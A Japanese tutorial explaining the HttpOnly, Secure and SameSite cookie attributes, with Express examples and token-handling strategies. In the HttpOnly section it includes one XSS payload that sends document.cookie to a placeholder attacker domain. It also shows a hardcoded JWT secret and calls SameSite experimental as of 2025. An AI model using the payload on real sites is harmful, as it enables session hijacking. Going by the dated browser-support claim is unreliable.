Web開発では、Cookieはユーザーデータの保存やセッション管理に不可欠なツールです。しかし、Cookieを適切に管理しないとセキュリティリスクが発生する可能性があり、これを防ぐためにCookieにはHttpOnly、Secure、SameSiteなどの属性が存在します。
この記事では、これら3つの属性の役割と重要性を探り、実用的な例とともに設定方法を紹介します。
HttpOnly属性
HttpOnly
属性は、クライアント側のスクリプトからCookieへのアクセスを制限する属性です。この属性を設定すると、CookieはHTTP/HTTPSリクエストを通じてのみサーバーに送信されます。
サーバー設定例
// Node.js (Express) example
res.cookie('sessionID', 'sanghyeon', { httpOnly: true });
ヘッダーは次のように設定されます:
# Set-Cookie: <cookie-name>=<cookie-value>; HttpOnly
Set-Cookie: sessionId=sanghyeon; HttpOnly
通常のクッキーは、次のようにクライアント側のスクリプトからアクセスできます:
// Set-Cookie: normalCookie=thisisvisible; Path=/
// JavaScript In Client
console.log(document.cookie); // "normalCookie=thisisvisible"
しかし、HttpOnly設定を適用したクッキーはクライアント側のスクリプトからアクセスできません。
// Set-Cookie: secureSessionId=thiisnotvisible; HttpOnly; Path=/
// JavaScript In Client
console.log(document.cookie); // "normalCookie=thisisvisible" (HttpOnlyクッキーは表示されません)
HttpOnlyによるXSS防止
クッキーはWebでユーザーセッションを認証するために広く使用されています。XSS(Cross-Site Scripting)攻撃は、悪意のあるスクリプトをWebサイトに挿入してユーザーのCookie(セッションIDなど)を盗む攻撃手法です。
例えば、悪意のあるユーザーが次のようなスクリプトを実行する可能性があります:
new Image().src =
"http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
HttpOnlyを設定すると、攻撃者がJavaScriptでCookieにアクセスできなくなり、セッションハイジャックなどの脅威を軽減できます。
Secure属性
HttpOnlyによってクライアントからのアクセスをブロックしても、HTTP通信を使用する場合、中間者攻撃によってクッキーが盗まれる可能性があります。Secure属性を使用すると、クッキーは暗号化されたHTTPS接続を通じてのみ送信されるため、このリスクを軽減できます。
サーバー設定例
// Node.js (Express) example
res.cookie('sessionID', 'sanghyeon', { secure: true });
ヘッダーは次のように設定されます:
# Set-Cookie: <cookie-name>=<cookie-value>; Secure
Set-Cookie: sessionId=sanghyeon; Secure
Warning
Secure
属性はクッキー自体を暗号化するものではなく、暗号化された接続(HTTPS)でのみ送信されるように制限するものです。したがって、Secureを設定しても、機密情報(パスワード、クレジットカード、個人識別子など)は絶対にクッキーに保存しないでください。このオプションは完全なセキュリティを提供するものではありません。
SameSite属性
SameSite
属性は、クロスサイトリクエストとともにクッキーが送信される方法を制御します。これにより、CSRF(Cross-Site Request Forgery)攻撃や不要な情報漏洩を防止できます。この記事を書いている時点(2025年4月)では、この属性はまだ実験的な機能であり、すべてのブラウザでサポートされているわけではありません。
サーバー設定例
res.cookie('sessionId', 'sanghyeon', { sameSite: 'lax' }); // デフォルト値(Chrome 80+)
ヘッダーは次のように設定されます:
Set-Cookie: sessionId=sanghyeon; SameSite=Lax
動作の仕組み
SameSite
属性は、クッキーがどのタイプのリクエスト(同一サイトリクエスト vs. クロスサイトリクエスト)に含まれるかを決定します。以下の3つの値を持つことができます:
Strict
:最も厳格な設定。クッキーは現在のWebサイトと同じサイト(Same-Site)から発信されたリクエストにのみ含まれます。外部サイトからリンクをクリックして入ってくる場合など、外部サイトから開始されたリクエストにはクッキーは送信されません。Lax
(デフォルト):Strict
よりも少し緩和された設定。基本的にはStrict
と同じように動作しますが、外部リンクをクリックしてサイトに移動する場合やGETリクエストにはクッキーが送信されます。None
:同一サイトリクエスト、クロスサイトリクエストの両方にクッキーが送信されます。ただし、SameSite=None
を使用するには、必ずSecure
属性も一緒に設定する必要があります。つまり、HTTPS接続でのみ機能します。これは主に外部サービス連携、広告トラッキングなど、クロスサイトコンテキストでクッキーを使用する必要がある場合に必要です。
認証のためのクッキー管理戦略
1. 二重クッキー戦略:セキュリティとアクセシビリティの両立
ブラウザでクッキーにアクセスする必要がありながらセキュリティも維持したい場合は、2種類のクッキーを使用する戦略を採用できます:
// server side
// 1. authentication token (HttpOnly)
res.cookie('authToken', 'abc123.token.xyz789', {
httpOnly: true,
secure: true,
sameSite: 'strict'
});
// 2. state for ui (accessible in javascript)
res.cookie('userInfo', JSON.stringify({
isLoggedIn: true,
username: 'ユーザー名',
role: 'ユーザー'
}));
- 実際の認証に使用されるトークンはHttpOnlyクッキーで保護
- UIに必要な情報は通常のクッキーでJavaScriptからアクセス可能に
2. JWTとクッキーの安全な使用
JWTはローカルストレージよりもHttpOnlyクッキーに保存する方が安全です。
const token = jwt.sign({ userId: user.id }, 'secret_key', { expiresIn: '1h' });
res.cookie('jwt', token, {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 3600000 // 1時間
});
3. トークンの寿命管理とリフレッシュ戦略
セキュリティを強化するために、短い寿命のアクセストークンと長い寿命のリフレッシュトークンを組み合わせる戦略もあります:
// access token (short lifetime)
res.cookie('accessToken', accessToken, {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 900000 // 15分
});
// refresh token (long lifetime)
res.cookie('refreshToken', refreshToken, {
httpOnly: true,
secure: true,
sameSite: 'strict',
path: '/api/refresh',
maxAge: 7 * 24 * 60 * 60 * 1000 // 7日
});
- アクセストークンが盗まれても短時間で期限切れ
- リフレッシュトークンは特定のAPIパスに制限して露出を最小限に
- 定期的なトークン更新でセキュリティ強化
まとめ
Webでは、クッキーはユーザー認証やセッション管理に不可欠な要素です。この記事で見てきたように、HttpOnly、Secure、SameSite属性を適切に使用することで、XSS、CSRF、セッションハイジャックなどさまざまな攻撃から保護することができます。
Web開発者として、ユーザーのデータとプライバシーを保護する責任があるため、クッキーのセキュリティ属性を理解し、適切に使用しましょう!